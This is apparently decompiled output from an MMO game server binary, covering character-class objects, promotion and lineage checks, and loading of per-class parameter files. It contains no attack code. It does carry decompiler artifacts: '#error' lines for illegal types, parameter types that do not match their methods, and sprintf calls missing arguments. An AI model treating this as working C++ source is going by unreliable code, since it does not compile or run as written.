CharClassWizMage::_CharClassWizMage(CharClassWizard *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); } // 59DDB0: using guessed type int (__stdcall *CharClass___vftable_[10])(int iti, int dEndureEndTime); //----- (00431B50) -------------------------------------------------------- int __thiscall CharClassHawkArcher::cc_PromoteClass(ItemAttrCls_KingdomQuestItem *this) { return 17; } //----- (00431B60) -------------------------------------------------------- bool __thiscall CharClassScout::cc_IsDescendantsOf(CharClassScout *this, int classType) { return classType == 15 || classType == 16; } //----- (00431B80) -------------------------------------------------------- int __thiscall CharClassSharpShooter::cc_ClassType(ItemAttrCls_MiniHouseSkin *this) { return 18; } //----- (00431B90) -------------------------------------------------------- int __thiscall CharClassRanger::cc_ClassType(ItemAttrCls_UpgradeRedGem *this) { return 19; } //----- (00431BA0) -------------------------------------------------------- bool __thiscall CharClassRanger::cc_IsDescendantsOf(CharClassRanger *this, int classType) { return classType == 15 || classType == 16 || classType == 17; } //----- (00431BC0) -------------------------------------------------------- int __thiscall ItemAttrCls_Feed::iac_ItemClass(ItemAttrCls_Feed *this) { return 22; } //----- (00431BD0) -------------------------------------------------------- int __thiscall CharClassMage::cc_PromoteClass(ItemAttrCls_Riding *this) { return 23; } //----- (00431BE0) -------------------------------------------------------- #error "431BE0: undefined or illegal type '#748' (funcsize=4)" //----- (00431BF0) -------------------------------------------------------- int __thiscall CharClassWizMage::cc_PromoteClass(ItemAttrCls_Amount *this) { return 24; } //----- (00431C00) -------------------------------------------------------- bool __thiscall CharClassWizMage::cc_IsDescendantsOf(CharClassWizMage *this, int classType) { return classType == 22; } //----- (00431C10) -------------------------------------------------------- bool __thiscall CharClassEnchanter::cc_IsDescendantsOf(CharClassEnchanter *this, int classType) { return classType == 22 || classType == 23; } //----- (00431C30) -------------------------------------------------------- int __thiscall CharClassWarrock::cc_ClassType(ItemAttrCls_UpgradeGoldGem *this) { return 25; } //----- (00431C40) -------------------------------------------------------- int __thiscall CharClassWizard::cc_PromoteClass(CharClassWizard *this) { return 26; } //----- (00431C50) -------------------------------------------------------- bool __thiscall CharClassWarrock::cc_IsDescendantsOf(CharClassWizard *this, int classType) { return classType == 22 || classType == 23 || classType == 24; } //----- (00431C70) -------------------------------------------------------- void __thiscall CharClassManager::CharClassManager(CharClassManager *this) { CharClassManager *v1; // esi@1 v1 = this; OptionReader::OptionReader(&this->ccm_classdefault.baseclass_4); v1->ccm_classdefault.vfptr = (CharClassVtbl *)CharClass::_vftable_; memset32(v1->ccm_classdefault.cc_array, (int)&v1->ccm_classdefault.cc_def, 0x97u); OptionReader::OptionReader(&v1->ccm_classfighter.baseclass_0.baseclass_4); memset32(v1->ccm_classfighter.baseclass_0.cc_array, (int)&v1->ccm_classfighter.baseclass_0.cc_def, 0x97u); v1->ccm_classfighter.baseclass_0.vfptr = (CharClassVtbl *)CharClassFighter::_vftable_; OptionReader::OptionReader(&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classcleverfighter.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classcleverfighter.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassCleverFighter::_vftable_; OptionReader::OptionReader(&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWarrior::_vftable_; OptionReader::OptionReader(&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassGladiator::_vftable_; OptionReader::OptionReader(&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassKnight::_vftable_; OptionReader::OptionReader(&v1->ccm_classcleric.baseclass_0.baseclass_4); memset32(v1->ccm_classcleric.baseclass_0.cc_array, (int)&v1->ccm_classcleric.baseclass_0.cc_def, 0x97u); v1->ccm_classcleric.baseclass_0.vfptr = (CharClassVtbl *)CharClassCleric::_vftable_; OptionReader::OptionReader(&v1->ccm_classhighcleric.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classhighcleric.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classhighcleric.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classhighcleric.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHighCleric::_vftable_; OptionReader::OptionReader(&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassPaladin::_vftable_; OptionReader::OptionReader(&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHolyKnight::_vftable_; OptionReader::OptionReader(&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassGuardian::_vftable_; OptionReader::OptionReader(&v1->ccm_classarcher.baseclass_0.baseclass_4); memset32(v1->ccm_classarcher.baseclass_0.cc_array, (int)&v1->ccm_classarcher.baseclass_0.cc_def, 0x97u); v1->ccm_classarcher.baseclass_0.vfptr = (CharClassVtbl *)CharClassArchar::_vftable_; OptionReader::OptionReader(&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classhawkarcher.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classhawkarcher.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassHawkArcher::_vftable_; OptionReader::OptionReader(&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassScout::_vftable_; OptionReader::OptionReader(&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassSharpShooter::_vftable_; OptionReader::OptionReader(&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassRanger::_vftable_; OptionReader::OptionReader(&v1->ccm_classmage.baseclass_0.baseclass_4); memset32(v1->ccm_classmage.baseclass_0.cc_array, (int)&v1->ccm_classmage.baseclass_0.cc_def, 0x97u); v1->ccm_classmage.baseclass_0.vfptr = (CharClassVtbl *)CharClassMage::_vftable_; OptionReader::OptionReader(&v1->ccm_classwizmage.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwizmage.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwizmage.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwizmage.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWizMage::_vftable_; OptionReader::OptionReader(&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassEnchanter::_vftable_; OptionReader::OptionReader(&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWarrock::_vftable_; OptionReader::OptionReader(&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); memset32( v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_array, (int)&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.cc_def, 0x97u); v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClassWizard::_vftable_; OptionReader::OptionReader(&v1->ccm_classmob.baseclass_0.baseclass_4); memset32(v1->ccm_classmob.baseclass_0.cc_array, (int)&v1->ccm_classmob.baseclass_0.cc_def, 0x97u); v1->ccm_classmob.baseclass_0.vfptr = (CharClassVtbl *)CharClassMob::_vftable_; v1->ccm_array[0] = (CharClass *)v1; v1->ccm_array[1] = (CharClass *)v1; v1->ccm_array[2] = (CharClass *)v1; v1->ccm_array[3] = (CharClass *)v1; v1->ccm_array[4] = (CharClass *)v1; v1->ccm_array[5] = (CharClass *)v1; v1->ccm_array[6] = (CharClass *)v1; v1->ccm_array[7] = (CharClass *)v1; v1->ccm_array[8] = (CharClass *)v1; v1->ccm_array[9] = (CharClass *)v1; v1->ccm_array[10] = (CharClass *)v1; v1->ccm_array[11] = (CharClass *)v1; v1->ccm_array[12] = (CharClass *)v1; v1->ccm_array[13] = (CharClass *)v1; v1->ccm_array[14] = (CharClass *)v1; v1->ccm_array[15] = (CharClass *)v1; v1->ccm_array[16] = (CharClass *)v1; v1->ccm_array[17] = (CharClass *)v1; v1->ccm_array[18] = (CharClass *)v1; v1->ccm_array[19] = (CharClass *)v1; v1->ccm_array[20] = (CharClass *)v1; v1->ccm_array[21] = (CharClass *)v1; v1->ccm_array[22] = (CharClass *)v1; v1->ccm_array[23] = (CharClass *)v1; v1->ccm_array[24] = (CharClass *)v1; v1->ccm_array[25] = (CharClass *)v1; v1->ccm_array[26] = (CharClass *)v1; v1->ccm_array[27] = (CharClass *)v1; v1->ccm_array[28] = (CharClass *)v1; v1->ccm_array[29] = (CharClass *)v1; v1->ccm_array[30] = (CharClass *)v1; v1->ccm_array[31] = (CharClass *)v1; v1->ccm_array[3] = (CharClass *)&v1->ccm_classwarrior; v1->ccm_array[1] = (CharClass *)&v1->ccm_classfighter; v1->ccm_array[2] = (CharClass *)&v1->ccm_classcleverfighter; v1->ccm_array[4] = (CharClass *)&v1->ccm_classgladiator; v1->ccm_array[5] = (CharClass *)&v1->ccm_classknight; v1->ccm_array[8] = (CharClass *)&v1->ccm_classcleric; v1->ccm_array[9] = (CharClass *)&v1->ccm_classhighcleric; v1->ccm_array[10] = (CharClass *)&v1->ccm_classpaladin; v1->ccm_array[11] = (CharClass *)&v1->ccm_classholyknight; v1->ccm_array[12] = (CharClass *)&v1->ccm_classguardian; v1->ccm_array[15] = (CharClass *)&v1->ccm_classarcher; v1->ccm_array[16] = (CharClass *)&v1->ccm_classhawkarcher; v1->ccm_array[17] = (CharClass *)&v1->ccm_classscout; v1->ccm_array[18] = (CharClass *)&v1->ccm_classsharpshooter; v1->ccm_array[19] = (CharClass *)&v1->ccm_classranger; v1->ccm_array[22] = (CharClass *)&v1->ccm_classmage; v1->ccm_array[23] = (CharClass *)&v1->ccm_classwizmage; v1->ccm_array[24] = (CharClass *)&v1->ccm_classenchanter; v1->ccm_array[25] = (CharClass *)&v1->ccm_classwarrock; v1->ccm_array[29] = (CharClass *)&v1->ccm_classmob; v1->ccm_array[26] = (CharClass *)&v1->ccm_classwizard; } // 59DDB0: using guessed type int (__stdcall *CharClass___vftable_[10])(int iti, int dEndureEndTime); // 59DDF8: using guessed type int (__stdcall *CharClassMob___vftable_[10])(int iti, int dEndureEndTime); // 59DE40: using guessed type int (__stdcall *CharClassFighter___vftable_[10])(int iti, int dEndureEndTime); // 59DE88: using guessed type int (__stdcall *CharClassCleverFighter___vftable_[10])(int iti, int dEndureEndTime); // 59DED0: using guessed type int (__stdcall *CharClassWarrior___vftable_[10])(int iti, int dEndureEndTime); // 59DF18: using guessed type int (__stdcall *CharClassGladiator___vftable_[10])(int iti, int dEndureEndTime); // 59DF60: using guessed type int (__stdcall *CharClassKnight___vftable_[10])(int iti, int dEndureEndTime); // 59DFA8: using guessed type int (__stdcall *CharClassCleric___vftable_[10])(int iti, int dEndureEndTime); // 59DFF0: using guessed type int (__stdcall *CharClassHighCleric___vftable_[10])(int iti, int dEndureEndTime); // 59E038: using guessed type int (__stdcall *CharClassPaladin___vftable_[10])(int iti, int dEndureEndTime); // 59E080: using guessed type int (__stdcall *CharClassHolyKnight___vftable_[10])(int iti, int dEndureEndTime); // 59E0C8: using guessed type int (__stdcall *CharClassGuardian___vftable_[10])(int iti, int dEndureEndTime); // 59E110: using guessed type int (__stdcall *CharClassArchar___vftable_[10])(int iti, int dEndureEndTime); // 59E158: using guessed type int (__stdcall *CharClassHawkArcher___vftable_[10])(int iti, int dEndureEndTime); // 59E1A0: using guessed type int (__stdcall *CharClassScout___vftable_[10])(int iti, int dEndureEndTime); // 59E1E8: using guessed type int (__stdcall *CharClassSharpShooter___vftable_[10])(int iti, int dEndureEndTime); // 59E230: using guessed type int (__stdcall *CharClassRanger___vftable_[10])(int iti, int dEndureEndTime); // 59E278: using guessed type int (__stdcall *CharClassMage___vftable_[10])(int iti, int dEndureEndTime); // 59E2C0: using guessed type int (__stdcall *CharClassWizMage___vftable_[10])(int iti, int dEndureEndTime); // 59E308: using guessed type int (__stdcall *CharClassEnchanter___vftable_[10])(int iti, int dEndureEndTime); // 59E350: using guessed type int (__stdcall *CharClassWarrock___vftable_[10])(int iti, int dEndureEndTime); // 59E398: using guessed type int (__stdcall *CharClassWizard___vftable_[10])(int iti, int dEndureEndTime); //----- (00432230) -------------------------------------------------------- void __thiscall CharClassManager::_CharClassManager(CharClassManager *this) { CharClassManager *v1; // esi@1 v1 = this; this->ccm_classmob.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&this->ccm_classmob.baseclass_0.baseclass_4); v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwizmage.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwizmage.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classmage.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classmage.baseclass_0.baseclass_4); v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classscout.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classhawkarcher.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classhawkarcher.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classarcher.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classarcher.baseclass_0.baseclass_4); v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classhighcleric.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classhighcleric.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcleric.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcleric.baseclass_0.baseclass_4); v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classcleverfighter.baseclass_0.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classcleverfighter.baseclass_0.baseclass_0.baseclass_4); v1->ccm_classfighter.baseclass_0.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classfighter.baseclass_0.baseclass_4); v1->ccm_classdefault.vfptr = (CharClassVtbl *)CharClass::_vftable_; OptionReader::_OptionReader(&v1->ccm_classdefault.baseclass_4); } // 59DDB0: using guessed type int (__stdcall *CharClass___vftable_[10])(int iti, int dEndureEndTime); //----- (00432450) -------------------------------------------------------- void __thiscall CharClass::cc_Load(CharClass *this, Name4 *world, char *txt) { CharClass *v3; // ebp@1 int v4; // ecx@1 int v5; // edx@1 int v6; // eax@1 OptionReader *v7; // edi@1 int v8; // eax@2 int v9; // esi@5 int v10; // ebp@5 void *v11; // eax@6 ORToken v12; // [sp-20h] [bp-ECh]@6 int v13; // [sp-1Ch] [bp-E8h]@6 int v14; // [sp-18h] [bp-E4h]@6 int v15; // [sp-14h] [bp-E0h]@6 int v16; // [sp-10h] [bp-DCh]@6 char *v17; // [sp-Ch] [bp-D8h]@6 int v18; // [sp-8h] [bp-D4h]@1 int v19; // [sp-4h] [bp-D0h]@6 char rst; // [sp+13h] [bp-B9h]@2 ORToken *v21; // [sp+14h] [bp-B8h]@6 FunctionEntarance _; // [sp+18h] [bp-B4h]@1 int buf; // [sp+1Ch] [bp-B0h]@1 int v24; // [sp+20h] [bp-ACh]@1 int v25; // [sp+24h] [bp-A8h]@1 int v26; // [sp+28h] [bp-A4h]@1 char v27; // [sp+2Ch] [bp-A0h]@1 char path[128]; // [sp+3Ch] [bp-90h]@1 unsigned int cookie; // [sp+BCh] [bp-10h]@10 int v30; // [sp+C8h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "CharClass::cc_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharClass::cc_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharClass::cc_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v6 = *(_DWORD *)&world->n4_name[12]; v24 = v4; v18 = (int)&buf; v25 = v5; v30 = 0; v26 = v6; v27 = 0; sprintf(path, "../9Data/Shine/World/%s/%s.txt"); v7 = &v3->baseclass_4; if ( !OptionReader::or_Read(&v3->baseclass_4, path) ) { sprintf(path, "../9Data/Shine/World/%s.txt"); rst = OptionReader::or_Read(&v3->baseclass_4, path); v8 = OptionReader::or_ErrorLine(&v3->baseclass_4); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "CharClass::cc_Load : Error in read", v8); ShineExit("CharClass::cc_Load"); } } v9 = 1; v10 = (int)&v3->cc_array[1]; do { v19 = 0; v18 = v9; v17 = "Level"; v21 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "Param", 0x14u); v11 = OptionReader::or_SelectFrom(v7, v12, v17, v18, v19); *(_DWORD *)v10 = v11; if ( v11 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "CharClass::cc_Load : Error in level", v9); ShineExit("CharClass::cc_Load"); } ++v9; v10 += 4; } while ( (unsigned int)v9 < 0x97 ); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharClass::cc_Load"); __security_check_cookie(cookie); } //----- (00432630) -------------------------------------------------------- void __thiscall CharClassManager::ccm_Load(CharClassManager *this, Name4 *world) { CharClassManager *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharClassManager::ccm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharClassManager::ccm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharClass::cc_Load(&v2->ccm_classfighter.baseclass_0, world, "ParamFighterServer"); CharClass::cc_Load(&v2->ccm_classcleverfighter.baseclass_0.baseclass_0, world, "ParamCleverFighterServer"); CharClass::cc_Load(&v2->ccm_classwarrior.baseclass_0.baseclass_0.baseclass_0, world, "ParamWarriorServer"); CharClass::cc_Load( &v2->ccm_classgladiator.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamGladiatorServer"); CharClass::cc_Load(&v2->ccm_classknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamKnightServer"); CharClass::cc_Load(&v2->ccm_classcleric.baseclass_0, world, "ParamClericServer"); CharClass::cc_Load(&v2->ccm_classhighcleric.baseclass_0.baseclass_0, world, "ParamHighClericServer"); CharClass::cc_Load(&v2->ccm_classpaladin.baseclass_0.baseclass_0.baseclass_0, world, "ParamPaladinServer"); CharClass::cc_Load( &v2->ccm_classholyknight.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamHolyKnightServer"); CharClass::cc_Load( &v2->ccm_classguardian.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamGuardianServer"); CharClass::cc_Load(&v2->ccm_classarcher.baseclass_0, world, "ParamArcherServer"); CharClass::cc_Load(&v2->ccm_classhawkarcher.baseclass_0.baseclass_0, world, "ParamHawkArcherServer"); CharClass::cc_Load(&v2->ccm_classscout.baseclass_0.baseclass_0.baseclass_0, world, "ParamScoutServer"); CharClass::cc_Load( &v2->ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamSharpShooterServer"); CharClass::cc_Load(&v2->ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamRangerServer"); CharClass::cc_Load(&v2->ccm_classmage.baseclass_0, world, "ParamMageServer"); CharClass::cc_Load(&v2->ccm_classwizmage.baseclass_0.baseclass_0, world, "ParamWizMageServer"); CharClass::cc_Load(&v2->ccm_classenchanter.baseclass_0.baseclass_0.baseclass_0, world, "ParamEnchanterServer"); CharClass::cc_Load(&v2->ccm_classwarrock.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamWarrockServer"); CharClass::cc_Load(&v2->ccm_classwizard.baseclass_0.baseclass_0.baseclass_0.baseclass_0, world, "ParamWizardServer"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharClassManager::ccm_Load"); } //----- (00432820) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name4 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n4_name[0]; *((_QWORD *)result + 1) = *(_QWORD *)&a->n4_name[8]; result[16] = 0; return result; } //----- (00432860) -------------------------------------------------------- CharClass *__thiscall CharClassManager::operator__(CharClassManager *this, char cc) { CharClass *result; // eax@1 result = (CharClass *)this; if ( (unsigned __int8)cc < 0x20u ) result = this->ccm_array[(unsigned __int8)cc]; return result; } //----- (00432880) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SetRegistNumber(int regnum) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SetRegistNumber", 0); } //----- (004328A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(int this) { return *(_BYTE *)(this + 32137) + *(_BYTE *)(this + 32138) + *(_BYTE *)(this + 32139) + *(_BYTE *)(this + 32140) + *(_BYTE *)(this + 32141); } //----- (004328D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SpamRecvDataFromWM(void *this, int Data) { void *v2; // esi@1 unsigned int v3; // edi@3 int v4; // eax@3 int v5; // eax@4 unsigned int v6; // ecx@5 v2 = this; if ( Data ) { v3 = clockwatch.cw_CurrTick; v4 = time(0); if ( *(_DWORD *)Data ) { v5 = v3 + 10 * *(_DWORD *)Data; *((_DWORD *)v2 + 23168) = v5; *((_DWORD *)v2 + 23169) = v5 + 10 * *(_DWORD *)(Data + 4); *((_DWORD *)v2 + 23170) = 1; } else { *((_DWORD *)v2 + 23168) = v3; v6 = *(_DWORD *)(Data + 4); if ( v6 <= v4 ) { *((_DWORD *)v2 + 23169) = v3; } else { *((_DWORD *)v2 + 23169) = v3 + 10 * (v6 - v4); *((_DWORD *)v2 + 23170) = 1; } } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_CharSpammerData : data is NULL", 0); } } //----- (00432980) -------------------------------------------------------- #error "432980: undefined or illegal type '#331' (funcsize=53)" //----- (00432A60) -------------------------------------------------------- #error "432A60: undefined or illegal type '#331' (funcsize=58)" //----- (00432B50) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_BASE_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); 